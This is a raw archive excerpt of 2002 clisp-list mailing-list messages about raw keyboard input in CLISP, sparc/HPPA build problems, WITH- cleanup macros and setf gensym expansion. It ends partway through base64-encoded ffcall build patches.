28 Jun 2002 07:01:45 -0000 Received: from localhost [127.0.0.1] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Fri, 28 Jun 2002 18:02:39 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <561181569.20020628180238@ich.dvo.ru> To: corey@neural.dlsemc.com CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] raw mode for charactor reading In-reply-To: <20020628070854.GA4110@neural.dlsemc.com> References: <20020627204932.GB29368@neural.dlsemc.com> <20020628070854.GA4110@neural.dlsemc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 28 00:03:01 2002 X-Original-Date: Fri, 28 Jun 2002 18:02:38 +1000 Hi, Friday, June 28, 2002, 5:08:54 PM, you wrote: corey> Is it possible to read a charactor without waiting for enter to be pressed in clisp? If so how? corey> p.s. i've tried screen:read-keyboard-char, read-char-no-hang, and others with no luck. On windows I'm using the following ... (let ((ch nil)) (ext:with-keyboard (setf ch (read-char ext:*keyboard-input*)) ... (when (eq (system::input-character-key ch) :RIGHT) ...) ... I remember it was worked on FreeBSD too. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From will@misconception.org.uk Fri Jun 28 03:57:43 2002 Received: from mail11.svr.pol.co.uk ([195.92.193.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NtRe-0006zg-00 for ; Fri, 28 Jun 2002 03:57:43 -0700 Received: from modem-1119.abra.dialup.pol.co.uk ([217.135.5.95] helo=there) by mail11.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17NtRb-0004FZ-00 for clisp-list@lists.sourceforge.net; Fri, 28 Jun 2002 11:57:40 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp & [sparc|m68k]-linux X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 28 03:58:02 2002 X-Original-Date: Fri, 28 Jun 2002 11:45:48 +0100 On Thursday 27 Jun 2002 3:47 pm, Sam Steingold wrote: > I.e., one has to figure out what registers are now grabbed by glibc on > sparc (and probably on m68k) and thus are unavailable... I've tried playing with which registers are used, but not really got anywhere apart from getting the crash one function call later. This reference seems to imply there may be a problem using registers with later versions of gcc (and I believe the sparc string functions of glibc ): http://isisesc.supelec.fr/list-egcs/archive/March2000/0055.html From samuel.steingold@verizon.net Fri Jun 28 05:57:06 2002 Received: from h021.c001.snv.cp.net ([209.228.32.135] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NvJB-0003Oa-00 for ; Fri, 28 Jun 2002 05:57:05 -0700 Received: (cpmta 11706 invoked from network); 28 Jun 2002 05:56:59 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.135) with SMTP; 28 Jun 2002 05:56:59 -0700 X-Sent: 28 Jun 2002 12:56:59 GMT To: corey@neural.dlsemc.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] raw mode for charactor reading References: <20020627204932.GB29368@neural.dlsemc.com> <20020628070854.GA4110@neural.dlsemc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020628070854.GA4110@neural.dlsemc.com> Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 28 05:58:02 2002 X-Original-Date: 28 Jun 2002 08:56:58 -0400 > * In message <20020628070854.GA4110@neural.dlsemc.com> > * On the subject of "Re: [clisp-list] raw mode for charactor reading" > * Sent on Fri, 28 Jun 2002 02:08:54 -0500 > * Honorable corey@neural.dlsemc.com writes: > > On Thu, Jun 27, 2002 at 04:50:38PM -0400, Sam Steingold wrote: > > > * Honorable corey@neural.dlsemc.com writes: > > > > > > I'm having dificulty using the raw terminal mode. I updated to clisp > > > 2.28, then tried: > > > > > > [1]> (system::terminal-raw *standard-input* t) > > > > this is an internal function. > > do not use it. > > Is it possible to read a charactor without waiting for enter to be > pressed in clisp? yes it is. > If so how? in my previous message I gave you two URLs. did you read them? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux What garlic is to food, insanity is to art. From hin@van-halen.alma.com Fri Jun 28 06:09:12 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NvUt-0004fE-00 for ; Fri, 28 Jun 2002 06:09:11 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g5SD92Ls002769; Fri, 28 Jun 2002 09:09:02 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g5SD92AG002766; Fri, 28 Jun 2002 09:09:02 -0400 Message-Id: <200206281309.g5SD92AG002766@van-halen.alma.com> From: "John K. Hinsdale" To: tfb@OCF.Berkeley.EDU, Kaz Kylheku CC: clisp-list@lists.sourceforge.net In-reply-to: <15642.6333.469626.990615@monsoon.OCF.Berkeley.EDU> (tfb@OCF.Berkeley.EDU) Subject: Re: [clisp-list] Ensuring call of cleanup ("destructor") routine for "C" object Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 28 06:10:02 2002 X-Original-Date: Fri, 28 Jun 2002 09:09:02 -0400 >> John K. Hinsdale writes: >> and (2) to immediately GC my database object? This is because >> I don't want my Lisp Oracle client leaving database >> connections lying around - they consume a lot of > "Thomas F. Burdick" writes: > For most uses of database handles, you only need the object to have > dynamic extent, in which case, a WITH-... style macro works wonderfully: > Kaz Kylheku writes: > You could have open and close type routines in your FFI, and then > write some WITH-* style macros to ensure that closes are matched > with opens. Gents, thanks for the hints. The with-... macro is what I want. I like Kaz's idea of using it to deal w/ the commit/abort aspect of my modules as well. [Update: I'm doing the part of my Oracle lib. that involves gluing it to CLISP - woo-hoo, I can get to my date.] BTW, I later noticed Dan Weinreb answered my same question back in 1991: http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&safe=off&selm=1991May20.055952.4991%40odi.com For general Lisp stuff I'll do more Googling first so as not to ask 11-year old questions. :) --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From kaz@footprints.net Sat Jun 29 17:46:13 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17OSqy-0002bP-00 for ; Sat, 29 Jun 2002 17:46:12 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17OSqv-00027n-00 for clisp-list@sourceforge.net; Sat, 29 Jun 2002 17:46:09 -0700 From: Kaz Kylheku To: clisp-list@sourceforge.net In-Reply-To: <15632.43948.262319.541910@wh2-19.st.uni-magdeburg.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Unnecessary gensyms in some macro operators. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 29 17:47:01 2002 X-Original-Date: Sat, 29 Jun 2002 17:46:09 -0700 (PDT) [15]> (macroexpand '(setf (car x) y)) (SYSTEM::%RPLACA X Y) ; T So far so good. But: [16]> (macroexpand '(setf (aref x y) z)) (LET* ((#:G1267 X) (#:G1268 Y) (#:G1269 Z)) (SYSTEM::STORE #:G1267 #:G1268 #:G1269)) ; T [17]> (macroexpand '(setf (gethash x y) z)) (LET* ((#:G1270 X) (#:G1271 Y) (#:G1272 Z)) (SYSTEM::PUTHASH #:G1270 #:G1271 #:G1272)) ; T [19]> (macroexpand '(setf (seventh x) y)) (LET* ((#:G1275 X) (#:G1276 Y)) (SYSTEM::%RPLACA (CDDR (CDDDDR #:G1275)) #:G1276)) ; T What? Why not simply: (SYSTEM::STORE X Y Z) (SYSTEM::PUTHASH X Y Z) (SYSTEM::RPLACA (CDDR (CDDDDR X)) Y) There are no variable capture issues, nor multiple evaluations of the parameters. Are not the parameters to SYSTEM::STORE and others evaluated left to right? Even if that was the reason, there is no reason to use let* to bind the gensyms, because let* merely ensures an order of establishment of the *bindings*. With plain let, evaluation is still left to right, but the bindings to the symbols are established in parallel. Since the initializing expressions cannot refer to the gensyms, let* is unnecessary. Am I missing something, or should I make a patch? ;) Or would it be faster to make a patch anyway and later be told I'm missing something? ;) From tfb@ocf.berkeley.edu Sat Jun 29 18:20:35 2002 Received: from war.ocf.berkeley.edu ([128.32.191.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17OTOD-0005T5-00 for ; Sat, 29 Jun 2002 18:20:33 -0700 Received: from famine.OCF.Berkeley.EDU (daemon@famine.OCF.Berkeley.EDU [128.32.191.92]) by war.OCF.Berkeley.EDU (8.11.6/8.9.3) with ESMTP id g5U1KUA00104; Sat, 29 Jun 2002 18:20:30 -0700 (PDT) Received: (from tfb@localhost) by famine.OCF.Berkeley.EDU (8.11.6/8.10.2) id g5U1KTO13779; Sat, 29 Jun 2002 18:20:29 -0700 (PDT) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15646.23773.580843.327322@famine.OCF.Berkeley.EDU> To: Kaz Kylheku Cc: clisp-list@sourceforge.net Subject: [clisp-list] Re: Unnecessary gensyms in some macro operators. In-Reply-To: References: <15632.43948.262319.541910@wh2-19.st.uni-magdeburg.de> X-Mailer: VM 6.90 under Emacs 20.7.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 29 18:21:01 2002 X-Original-Date: Sat, 29 Jun 2002 18:20:29 -0700 Kaz Kylheku writes: > [16]> (macroexpand '(setf (aref x y) z)) > (LET* ((#:G1267 X) (#:G1268 Y) (#:G1269 Z)) > (SYSTEM::STORE #:G1267 #:G1268 #:G1269)) ; > T [...] > What? Why not simply: > > (SYSTEM::STORE X Y Z) Why do you care? Hint, have you tried compiling the code? You get the same bytecodes for FOO and BAR: (defun foo (a i v) (system::store a i v)) (defun bar (a i v) (setf (aref a i) v)) -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From will@misconception.org.uk Mon Jul 01 06:21:00 2002 Received: from mail11.svr.pol.co.uk ([195.92.193.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17P16v-0001m7-00 for ; Mon, 01 Jul 2002 06:20:58 -0700 Received: from modem-172.blue-spotted-stingray.dialup.pol.co.uk ([62.136.238.172] helo=there) by mail11.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17P16n-00010A-00 for clisp-list@lists.sourceforge.net; Mon, 01 Jul 2002 14:20:50 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_PRNKBPBJ81PVVLPBLR3R" Message-Id: Subject: [clisp-list] Linux/HPPA fix Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 1 06:21:11 2002 X-Original-Date: Mon, 1 Jul 2002 14:21:25 +0100 --------------Boundary-00=_PRNKBPBJ81PVVLPBLR3R Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit The attached patches should allow clisp to build a bit better on HPPA. The author of the patch (LaMont Jones, HP Linux developer) says the patch should not affect the HPUX build so is "suitable for upstream". I do not have an HPUX machine to test with, but LaMont knows what he is talking about with HP systems. The second patch is a compiler bug workaround, which I may have forwarded before. --------------Boundary-00=_PRNKBPBJ81PVVLPBLR3R Content-Type: text/x-diff; charset="iso-8859-1"; name="ffcall-tramp.diff" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="ffcall-tramp.diff" LS0tIGZmY2FsbC0xLjgub3JpZy9jYWxsYmFjay90cmFtcG9saW5lX3IvdHJhbXBvbGluZS5jCisr KyBmZmNhbGwtMS44L2NhbGxiYWNrL3RyYW1wb2xpbmVfci90cmFtcG9saW5lLmMKQEAgLTc5Mywx MiArNzkzLDE0IEBACiAgICAqICAgIC5sb25nICAgPGRhdGE+CiAgICAqICAgIC5sb25nICAgPGFk ZHJlc3M+CiAgICAqLwotICAqKGxvbmcgKikgKGZ1bmN0aW9uICsgMCkgPSAoKGxvbmcgKikgKChj aGFyKikmdHJhbXBfci0yKSlbMF07Ci0gICoobG9uZyAqKSAoZnVuY3Rpb24gKyA0KSA9IChsb25n KSAoZnVuY3Rpb24gKyA4KTsKLSAgKihsb25nICopIChmdW5jdGlvbiArIDgpID0gKGxvbmcpIGRh dGE7Ci0gICoobG9uZyAqKSAoZnVuY3Rpb24gKzEyKSA9IChsb25nKSBhZGRyZXNzOworICB7IHZv aWQgKmZvbz0mdHJhbXBfcjsKKyAgICAqKGxvbmcgKikgKGZ1bmN0aW9uICsgMCkgPSAoKGxvbmcg KikgKChjaGFyKilmb28tMikpWzBdOworICAgICoobG9uZyAqKSAoZnVuY3Rpb24gKyA0KSA9IChs b25nKSAoZnVuY3Rpb24gKyA4KTsKKyAgICAqKGxvbmcgKikgKGZ1bmN0aW9uICsgOCkgPSAobG9u ZykgZGF0YTsKKyAgICAqKGxvbmcgKikgKGZ1bmN0aW9uICsxMikgPSAobG9uZykgYWRkcmVzczsK KyAgfQogI2RlZmluZSBpc190cmFtcChmdW5jdGlvbikgIFwKLSAgKChsb25nICopIGZ1bmN0aW9u KVswXSA9PSAoKGxvbmcgKikgKChjaGFyKikmdHJhbXBfci0yKSlbMF0KKyAgeyB2b2lkICpmb289 JnRyYW1wX3I7ICooKGxvbmcgKikgZnVuY3Rpb24pID09ICooKGxvbmcgKikgKChjaGFyKilmb28t MikpOyB9CiAjZGVmaW5lIHRyYW1wX2FkZHJlc3MoZnVuY3Rpb24pICBcCiAgICgobG9uZyAqKSBm dW5jdGlvbilbM10KICNkZWZpbmUgdHJhbXBfZGF0YShmdW5jdGlvbikgIFwK --------------Boundary-00=_PRNKBPBJ81PVVLPBLR3R Content-Type: text/x-diff; charset="iso-8859-1"; name="ffcall-hppa.diff" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="ffcall-hppa.diff" LS0tIGZmY2FsbC0xLjgub3JpZy9hdmNhbGwvYXZjYWxsLWhwcGEucworKysgZmZjYWxsLTEuOC9h dmNhbGwvYXZjYWxsLWhwcGEucwpAQCAtMSwxOCArMSwxMiBAQAotCS5TUEFDRSAkUFJJVkFURSQK LQkuU1VCU1BBICREQVRBJCxRVUFEPTEsQUxJR049OCxBQ0NFU1M9MzEKLQkuU1VCU1BBICRCU1Mk LFFVQUQ9MSxBTElHTj04LEFDQ0VTUz0zMSxaRVJPLFNPUlQ9ODIKLQkuU1BBQ0UgJFRFWFQkCi0J LlNVQlNQQSAkTElUJCxRVUFEPTAsQUxJR049OCxBQ0NFU1M9NDQKLQkuU1VCU1BBICRDT0RFJCxR VUFEPTAsQUxJR049OCxBQ0NFU1M9NDQsQ09ERV9PTkxZCisJLmNvZGUKIAkuSU1QT1JUICRnbG9i YWwkLERBVEEKIAkuSU1QT1JUICQkZHluY2FsbCxNSUxMSUNPREUKIDsgZ2NjX2NvbXBpbGVkLjoK LQkuU1BBQ0UgJFRFWFQkCi0JLlNVQlNQQSAkQ09ERSQKKwkuY29kZQogCiAJLmFsaWduIDQKIAku RVhQT1JUIF9fYnVpbHRpbl9hdmNhbGwsRU5UUlksUFJJVl9MRVY9MyxBUkdXMD1HUixSVE5WQUw9 R1IKLV9fYnVpbHRpbl9hdmNhbGwKKwkubGFiZWwgX19idWlsdGluX2F2Y2FsbAogCS5QUk9DCiAJ LkNBTExJTkZPIEZSQU1FPTExNTIsQ0FMTFMsU0FWRV9SUCxFTlRSWV9HUj0zCiAJLkVOVFJZCkBA IC0zMCwxOCArMjQsMTggQEAKIAl6ZGVwICVyMjEsMjksMzAsJXIxOQogCWFkZGwgJXIxOSwlcjIw LCVyMjAKIAlhZGRsICVyMTksJXIzLCVyMjIKLUwkMDAwNQorCS5sYWJlbCBMJDAwMDUKIAlsZHcg MTA2NCgwLCVyMjIpLCVyMTkKIAlsZG8gNCglcjIyKSwlcjIyCiAJbGRvIDEoJXIyMSksJXIyMQog CWNvbWliLD4gLTQsJXIyMSxMJDAwMDUKIAlzdHdzLG1hICVyMTksNCgwLCVyMjApCi1MJDAwMDMK KwkubGFiZWwgTCQwMDAzCiAJbGR3IDEyKDAsJXIzKSwlcjIwCiAJbGRpIDE2LCVyMTkKIAljb21j bHIsPD4gJXIxOSwlcjIwLDAKIAlsZHcgOCgwLCVyMyksJXIyOAotTCQwMDA3CisJLmxhYmVsIEwk MDAwNwogCWxkdyAwKDAsJXIzKSwlcjE5CiAJbGR3IDEwNjAoMCwlcjMpLCVyMjYKIAlsZHcgMTA1 NigwLCVyMyksJXIyNQpAQCAtNzIsMTcgKzY2LDE3IEBACiAJbGR3IDgoMCwlcjMpLCVyMTkKIAli bCBMJDAwMDksMAogCXN0dyAlcjI5LDQoMCwlcjE5KQotTCQwMDMwCisJLmxhYmVsIEwkMDAzMAog CWNvbWliLDw+LG4gMTMsJXIyMCxMJDAwMzIKIAlsZHcgOCgwLCVyMyksJXIxOQogCWJsIEwkMDAw OSwwCiAJZnN0d3MgJWZyNEwsMCgwLCVyMTkpCi1MJDAwMzIKKwkubGFiZWwgTCQwMDMyCiAJY29t aWIsPD4sbiAxNCwlcjIwLEwkMDAzNAogCWxkdyA4KDAsJXIzKSwlcjE5CiAJYmwgTCQwMDA5LDAK IAlmc3RkcyAlZnI0LDAoMCwlcjE5KQotTCQwMDM0CisJLmxhYmVsIEwkMDAzNAogCWNvbWliLD0g MTUsJXIyMCxMJDAwNzYKIAlsZGkgMTYsJXIxOQogCWNvbWIsPD4sbiAlcjE5LCVyMjAsTCQwMDA5 CkBAIC05NCwxOSArODgsMTkgQEAKIAlsZGIgMCgwLCVyMjIpLCVyMTkKIAlibCBMJDAwMDksMAog CXN0YiAlcjE5LDAoMCwlcjIwKQotTCQwMDQwCisJLmxhYmVsIEwkMDA0MAogCWNvbWliLDw+LG4g MiwlcjE5LEwkMDA0MgogCWxkdyA4KDAsJXIzKSwlcjIwCiAJbGRoIDAoMCwlcjIyKSwlcjE5CiAJ YmwgTCQwMDA5LDAKIAlzdGggJXIxOSwwKDAsJXIyMCkKLUwkMDA0MgorCS5sYWJlbCBMJDAwNDIK IAljb21pYiw8PixuIDQsJXIxOSxMJDAwNDQKIAlsZHcgOCgwLCVyMyksJXIyMAogCWxkdyAwKDAs JXIyMiksJXIxOQogCWJsIEwkMDAwOSwwCiAJc3R3ICVyMTksMCgwLCVyMjApCi1MJDAwNDQKKwku bGFiZWwgTCQwMDQ0CiAJY29taWIsPD4gOCwlcjE5LEwkMDA0NgogCWxkbyAzKCVyMTkpLCVyMTkK IAlsZHcgOCgwLCVyMyksJXIyMApAQCAtMTE2LDEwICsxMTAsMTAgQEAKIAlsZHcgNCgwLCVyMjIp LCVyMTkKIAlibCBMJDAwMDksMAogCXN0dyAlcjE5LDQoMCwlcjIwKQotTCQwMDQ2CisJLmxhYmVs IEwkMDA0NgogCWV4dHJ1ICVyMTksMjksMzAsJXIyMQogCWFkZGliLDwsbiAtMSwlcjIxLEwkMDAw OQotTCQwMDUwCisJLmxhYmVsIEwkMDA1MAogCWxkdyA4KDAsJXIzKSwlcjE5CiAJbGR3eCxzICVy MjEoMCwlcjIyKSwlcjIwCiAJc2gyYWRkbCAlcjIxLCVyMTksJXIxOQpAQCAtMTI3LDMwICsxMjEs MzAgQEAKIAlzdHcgJXIyMCwwKDAsJXIxOSkKIAlibCBMJDAwNzksMAogCWxkaSAwLCVyMjgKLUwk MDAzOQorCS5sYWJlbCBMJDAwMzkKIAliYiw+PSxuICVyMTksMzAsTCQwMDA5CiAJYmIsPj0gJXIx OSwyOCxMJDAwNTQKIAlsZHcgMTYoMCwlcjMpLCVyMTkKIAljb21pYiw9LG4gMSwlcjE5LEwkMDA3 NwogCWNvbWliLDw+LG4gMiwlcjE5LEwkMDA1NwotTCQwMDc4CisJLmxhYmVsIEwkMDA3OAogCWxk dyA4KDAsJXIzKSwlcjE5CiAJYmwgTCQwMDA5LDAKIAlzdGggJXIyMiwwKDAsJXIxOSkKLUwkMDA1 NworCS5sYWJlbCBMJDAwNTcKIAljb21pYiw8PiA0LCVyMTksTCQwMDc5CiAJbGRpIDAsJXIyOAot TCQwMDc2CisJLmxhYmVsIEwkMDA3NgogCWxkdyA4KDAsJXIzKSwlcjE5CiAJYmwgTCQwMDA5LDAK IAlzdHcgJXIyMiwwKDAsJXIxOSkKLUwkMDA1NAorCS5sYWJlbCBMJDAwNTQKIAljb21pYiw8Pixu IDEsJXIxOSxMJDAwNjEKLUwkMDA3NworCS5sYWJlbCBMJDAwNzcKIAlsZHcgOCgwLCVyMyksJXIx OQogCWJsIEwkMDAwOSwwCiAJc3RiICVyMjIsMCgwLCVyMTkpCi1MJDAwNjEKKwkubGFiZWwgTCQw MDYxCiAJY29taWIsPD4sbiAyLCVyMTksTCQwMDYzCiAJbGR3IDgoMCwlcjMpLCVyMTkKIAlleHRy cyAlcjIyLDIzLDI0LCVyMjAKQEAgLTE1OCw3ICsxNTIsNyBAQAogCWxkdyA4KDAsJXIzKSwlcjE5 CiAJYmwgTCQwMDA5LDAKIAlzdGIgJXIyMiwxKDAsJXIxOSkKLUwkMDA2MworCS5sYWJlbCBMJDAw NjMKIAljb21pYiw8PixuIDMsJXIxOSxMJDAwNjUKIAlsZHcgOCgwLCVyMyksJXIyMAogCWV4dHJz ICVyMjIsMTUsMTYsJXIxOQpAQCAtMTY5LDcgKzE2Myw3IEBACiAJbGR3IDgoMCwlcjMpLCVyMTkK IAlibCBMJDAwMDksMAogCXN0YiAlcjIyLDIoMCwlcjE5KQotTCQwMDY1CisJLmxhYmVsIEwkMDA2 NQogCWNvbWliLDw+LG4gNCwlcjE5LEwkMDA2NwogCWxkdyA4KDAsJXIzKSwlcjIwCiAJZXh0cnMg JXIyMiw3LDgsJXIxOQpAQCAtMTgzLDcgKzE3Nyw3IEBACiAJbGR3IDgoMCwlcjMpLCVyMTkKIAli bCBMJDAwMDksMAogCXN0YiAlcjIyLDMoMCwlcjE5KQotTCQwMDY3CisJLmxhYmVsIEwkMDA2Nwog CWNvbWliLDw+LG4gNSwlcjE5LEwkMDA2OQogCWxkdyA4KDAsJXIzKSwlcjIwCiAJZXh0cnMgJXIy Miw3LDgsJXIxOQpAQCAtMTk5LDcgKzE5Myw3IEBACiAJbGR3IDgoMCwlcjMpLCVyMTkKIAlibCBM JDAwMDksMAogCXN0YiAlcjI5LDQoMCwlcjE5KQotTCQwMDY5CisJLmxhYmVsIEwkMDA2OQogCWNv bWliLDw+LG4gNiwlcjE5LEwkMDA3MQogCWxkdyA4KDAsJXIzKSwlcjIwCiAJZXh0cnMgJXIyMiw3 LDgsJXIxOQpAQCAtMjE4LDcgKzIxMiw3IEBACiAJbGR3IDgoMCwlcjMpLCVyMTkKIAlibCBMJDAw MDksMAogCXN0YiAlcjI5LDUoMCwlcjE5KQotTCQwMDcxCisJLmxhYmVsIEwkMDA3MQogCWNvbWli LDw+LG4gNywlcjE5LEwkMDA3MwogCWxkdyA4KDAsJXIzKSwlcjIwCiAJZXh0cnMgJXIyMiw3LDgs JXIxOQpAQCAtMjQwLDcgKzIzNCw3IEBACiAJbGR3IDgoMCwlcjMpLCVyMTkKIAlibCBMJDAwMDks MAogCXN0YiAlcjI5LDYoMCwlcjE5KQotTCQwMDczCisJLmxhYmVsIEwkMDA3MwogCWNvbWliLDw+ IDgsJXIxOSxMJDAwNzkKIAlsZGkgMCwlcjI4CiAJbGR3IDgoMCwlcjMpLCVyMjAKQEAgLTI2NSw5 ICsyNTksOSBAQAogCXN0YiAlcjE5LDYoMCwlcjIwKQogCWxkdyA4KDAsJXIzKSwlcjE5CiAJc3Ri ICVyMjksNygwLCVyMTkpCi1MJDAwMDkKKwkubGFiZWwgTCQwMDA5CiAJbGRpIDAsJXIyOAotTCQw MDc5CisJLmxhYmVsIEwkMDA3OQogCWxkdyAtMTE3MigwLCVyMzApLCVyMgogCWxkdyAtMTA2MCgw LCVyMzApLCVyMwogCWJ2IDAoJXIyKQotLS0gZmZjYWxsLTEuOC5vcmlnL2NhbGxiYWNrL3RyYW1w b2xpbmVfci9jYWNoZS1ocHBhLnMKKysrIGZmY2FsbC0xLjgvY2FsbGJhY2svdHJhbXBvbGluZV9y L2NhY2hlLWhwcGEucwpAQCAtMSwxOCArMSwxMiBAQAotCS5TUEFDRSAkUFJJVkFURSQKLQkuU1VC U1BBICREQVRBJCxRVUFEPTEsQUxJR049OCxBQ0NFU1M9MzEKLQkuU1VCU1BBICRCU1MkLFFVQUQ9 MSxBTElHTj04LEFDQ0VTUz0zMSxaRVJPLFNPUlQ9ODIKLQkuU1BBQ0UgJFRFWFQkCi0JLlNVQlNQ QSAkTElUJCxRVUFEPTAsQUxJR049OCxBQ0NFU1M9NDQKLQkuU1VCU1BBICRDT0RFJCxRVUFEPTAs QUxJR049OCxBQ0NFU1M9NDQsQ09ERV9PTkxZCisJLmNvZGUKIAkuSU1QT1JUICRnbG9iYWwkLERB VEEKIAkuSU1QT1JUICQkZHluY2FsbCxNSUxMSUNPREUKIDsgZ2NjX2NvbXBpbGVkLjoKLQkuU1BB Q0UgJFRFWFQkCi0JLlNVQlNQQSAkQ09ERSQKKwkuY29kZQogCiAJLmFsaWduIDQKIAkuRVhQT1JU IF9fVFJfY2xlYXJfY2FjaGUsRU5UUlksUFJJVl9MRVY9MyxBUkdXMD1HUixBUkdXMT1HUgotX19U Ul9jbGVhcl9jYWNoZQorCS5sYWJlbCBfX1RSX2NsZWFyX2NhY2hlCiAJLlBST0MKIAkuQ0FMTElO Rk8gRlJBTUU9MCxOT19DQUxMUwogCS5FTlRSWQotLS0gZmZjYWxsLTEuOC5vcmlnL2NhbGxiYWNr L3RyYW1wb2xpbmVfci9wcm90by1ocHBhLnMKKysrIGZmY2FsbC0xLjgvY2FsbGJhY2svdHJhbXBv bGluZV9yL3Byb3RvLWhwcGEucwpAQCAtMSwxOCArMSwxMiBAQAotCS5TUEFDRSAkUFJJVkFURSQK LQkuU1VCU1BBICREQVRBJCxRVUFEPTEsQUxJR049OCxBQ0NFU1M9MzEKLQkuU1VCU1BBICRCU1Mk LFFVQUQ9MSxBTElHTj04LEFDQ0VTUz0zMSxaRVJPLFNPUlQ9ODIKLQkuU1BBQ0UgJFRFWFQkCi0J LlNVQlNQQSAkTElUJCxRVUFEPTAsQUxJR049OCxBQ0NFU1M9NDQKLQkuU1VCU1BBICRDT0RFJCxR VUFEPTAsQUxJR049OCxBQ0NFU1M9NDQsQ09ERV9PTkxZCisJLmNvZGUKIAkuSU1QT1JUICRnbG9i YWwkLERBVEEKIAkuSU1QT1JUICQkZHluY2FsbCxNSUxMSUNPREUKIDsgZ2NjX2NvbXBpbGVkLjoK LQkuU1BBQ0UgJFRFWFQkCi0JLlNVQlNQQSAkQ09ERSQKKwkuY29kZQogCiAJLmFsaWduIDQKIAku 